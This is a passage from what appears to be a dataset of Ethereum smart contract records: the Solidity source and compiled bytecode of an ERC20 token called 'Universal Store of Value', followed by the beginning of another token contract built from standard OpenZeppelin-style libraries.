1000 ); } function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) { return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) ); } function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) { return div( mul(part_, 100) , total_ ); } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) { return sqrrt( mul( multiplier_, payment_ ) ); } function barterPriceCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) { return mul( multiplier_, supply_ ); } } abstract contract ERC20 is IERC20 { using SafeMath for uint256; // TODO comment actual hash value. bytes32 constant private ERC20TOKEN_ERC1820_INTERFACE_ID = keccak256( "ERC20Token" ); // Present in ERC777 mapping (address => uint256) internal _balances; // Present in ERC777 mapping (address => mapping (address => uint256)) internal _allowances; // Present in ERC777 uint256 internal _totalSupply; // Present in ERC777 string internal _name; // Present in ERC777 string internal _symbol; // Present in ERC777 uint8 internal _decimals; constructor (string memory name_, string memory symbol_, uint8 decimals_) { _name = name_; _symbol = symbol_; _decimals = decimals_; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account_, uint256 amount_) internal virtual { require(account_ != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address( this ), account_, amount_); _totalSupply = _totalSupply.add(amount_); _balances[account_] = _balances[account_].add(amount_); emit Transfer(address( this ), account_, amount_); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from_, address to_, uint256 amount_ ) internal virtual { } } library Counters { using SafeMath for uint256; struct Counter { uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } interface IERC2612Permit { function permit( address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function nonces(address owner) external view returns (uint256); } abstract contract ERC20Permit is ERC20, IERC2612Permit { using Counters for Counters.Counter; mapping(address => Counters.Counter) private _nonces; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; bytes32 public DOMAIN_SEPARATOR; constructor() { uint256 chainID; assembly { chainID := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name())), keccak256(bytes("1")), // Version chainID, address(this) ) ); } function permit( address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { require(block.timestamp <= deadline, "Permit: expired deadline"); bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner].current(), deadline)); bytes32 _hash = keccak256(abi.encodePacked(uint16(0x1901), DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(_hash, v, r, s); require(signer != address(0) && signer == owner, "ZeroSwapPermit: Invalid signature"); _nonces[owner].increment(); _approve(owner, spender, amount); } function nonces(address owner) public view override returns (uint256) { return _nonces[owner].current(); } } interface IOwnable { function owner() external view returns (address); function renounceOwnership() external; function transferOwnership( address newOwner_ ) external; } contract Ownable is IOwnable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipTransferred( address(0), _owner ); } function owner() public view override returns (address) { return _owner; } modifier onlyOwner() { require( _owner == msg.sender, "Ownable: caller is not the owner" ); _; } function renounceOwnership() public virtual override onlyOwner() { emit OwnershipTransferred( _owner, address(0) ); _owner = address(0); } function transferOwnership( address newOwner_ ) public virtual override onlyOwner() { require( newOwner_ != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred( _owner, newOwner_ ); _owner = newOwner_; } } contract VaultOwned is Ownable { address internal _vault; function setVault( address vault_ ) external onlyOwner() returns ( bool ) { _vault = vault_; return true; } function vault() public view returns (address) { return _vault; } modifier onlyVault() { require( _vault == msg.sender, "VaultOwned: caller is not the Vault" ); _; } } contract UniversalERC20Token is ERC20Permit, VaultOwned { using SafeMath for uint256; constructor() ERC20("Universal Store of Value", "USV", 9) { } function mint(address account_, uint256 amount_) external onlyVault() { _mint(account_, amount_); } function burn(uint256 amount) public virtual { _burn(msg.sender, amount); } function burnFrom(address account_, uint256 amount_) public virtual { _burnFrom(account_, amount_); } function _burnFrom(address account_, uint256 amount_) public virtual { uint256 decreasedAllowance_ = allowance(account_, msg.sender).sub( amount_, "ERC20: burn amount exceeds allowance" ); _approve(account_, msg.sender, decreasedAllowance_); _burn(account_, amount_); } }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c8063715018a6116100c3578063a457c2d71161007c578063a457c2d71461068a578063a9059cbb146106ee578063d505accf14610752578063dd62ed3e146107eb578063f2fde38b14610863578063fbfa77cf146108a757610158565b8063715018a6146104d557806379cc6790146104df5780637ecebe001461052d5780638da5cb5b1461058557806395d89b41146105b9578063a22b35ce1461063c57610158565b80633644e515116101155780633644e51514610325578063395093511461034357806340c10f19146103a757806342966c68146103f55780636817031b1461042357806370a082311461047d57610158565b806306fdde031461015d578063095ea7b3146101e057806318160ddd1461024457806323b872dd1461026257806330adf81f146102e6578063313ce56714610304575b600080fd5b6101656108db565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a557808201518184015260208101905061018a565b50505050905090810190601f1680156101d25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61022c600480360360408110156101f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061097d565b60405180821515815260200191505060405180910390f35b61024c610994565b6040518082815260200191505060405180910390f35b6102ce6004803603606081101561027857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061099e565b60405180821515815260200191505060405180910390f35b6102ee610a69565b6040518082815260200191505060405180910390f35b61030c610a90565b604051808260ff16815260200191505060405180910390f35b61032d610aa7565b6040518082815260200191505060405180910390f35b61038f6004803603604081101561035957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aad565b60405180821515815260200191505060405180910390f35b6103f3600480360360408110156103bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b52565b005b6104216004803603602081101561040b57600080fd5b8101908080359060200190929190505050610c06565b005b6104656004803603602081101561043957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c13565b60405180821515815260200191505060405180910390f35b6104bf6004803603602081101561049357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d22565b6040518082815260200191505060405180910390f35b6104dd610d6a565b005b61052b600480360360408110156104f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eee565b005b61056f6004803603602081101561054357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610efc565b6040518082815260200191505060405180910390f35b61058d610f4c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105c1610f76565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106015780820151818401526020810190506105e6565b50505050905090810190601f16801561062e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106886004803603604081101561065257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611018565b005b6106d6600480360360408110156106a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061106c565b60405180821515815260200191505060405180910390f35b61073a6004803603604081101561070457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061112b565b60405180821515815260200191505060405180910390f35b6107e9600480360360e081101561076857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803560ff1690602001909291908035906020019092919080359060200190929190505050611142565b005b61084d6004803603604081101561080157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611469565b6040518082815260200191505060405180910390f35b6108a56004803603602081101561087957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114f0565b005b6108af6116f9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109735780601f1061094857610100808354040283529160200191610973565b820191906000526020600020905b81548152906001019060200180831161095657829003601f168201915b5050505050905090565b600061098a338484611723565b6001905092915050565b6000600254905090565b60006109ab84848461191a565b610a5e8433610a59856040518060600160405280602881526020016121f460289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bdb9092919063ffffffff16565b611723565b600190509392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c960001b81565b6000600560009054906101000a900460ff16905090565b60075481565b6000610b483384610b4385600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9b90919063ffffffff16565b611723565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bf8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061221c6023913960400191505060405180910390fd5b610c028282611d23565b5050565b610c103382611ee8565b50565b60003373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b81600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e2d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ef88282611018565b5050565b6000610f45600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206120ac565b9050919050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561100e5780601f10610fe35761010080835404028352916020019161100e565b820191906000526020600020905b815481529060010190602001808311610ff157829003601f168201915b5050505050905090565b60006110508260405180606001604052806024815260200161223f602491396110418633611469565b611bdb9092919063ffffffff16565b905061105d833383611723565b6110678383611ee8565b505050565b6000611121338461111c856040518060600160405280602581526020016122cd60259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bdb9092919063ffffffff16565b611723565b6001905092915050565b600061113833848461191a565b6001905092915050565b834211156111b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f5065726d69743a206578706972656420646561646c696e65000000000000000081525060200191505060405180910390fd5b60007f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c960001b888888611228600660008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206120ac565b89604051602001808781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019650505050505050604051602081830303815290604052805190602001209050600061190160075483604051602001808461ffff1660f01b81526002018381526020018281526020019350505050604051602081830303815290604052805190602001209050600060018287878760405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015611342573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156113b657508973ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b61140b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806121d36021913960400191505060405180910390fd5b611452600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206120ba565b61145d8a8a8a611723565b50505050505050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611639576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806121656026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806122a96024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561182f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061218b6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806122846025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a26576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806121206023913960400191505060405180910390fd5b611a318383836120d0565b611a9c816040518060600160405280602681526020016121ad602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bdb9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b2f816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9b90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611c88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c4d578082015181840152602081019050611c32565b50505050905090810190601f168015611c7a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611d19576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dc6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611dd13083836120d0565b611de681600254611c9b90919063ffffffff16565b600281905550611e3d816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9b90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f6e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806122636021913960400191505060405180910390fd5b611f7a826000836120d0565b611fe581604051806060016040528060228152602001612143602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bdb9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061203c816002546120d590919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600001549050919050565b6001816000016000828254019250508190555050565b505050565b600061211783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bdb565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63655a65726f537761705065726d69743a20496e76616c6964207369676e617475726545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655661756c744f776e65643a2063616c6c6572206973206e6f7420746865205661756c7445524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220eed8f1b5f1ac523f51ac38fe8e9af2951e24786b144ca9e545080b80ee850ac364736f6c63430007050033
[ 12 ]
0xf329d41f327fb1a9ca5e6b3fc68c12898593902e
// SPDX-License-Identifier: MIT // t.me/WGMINU pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` 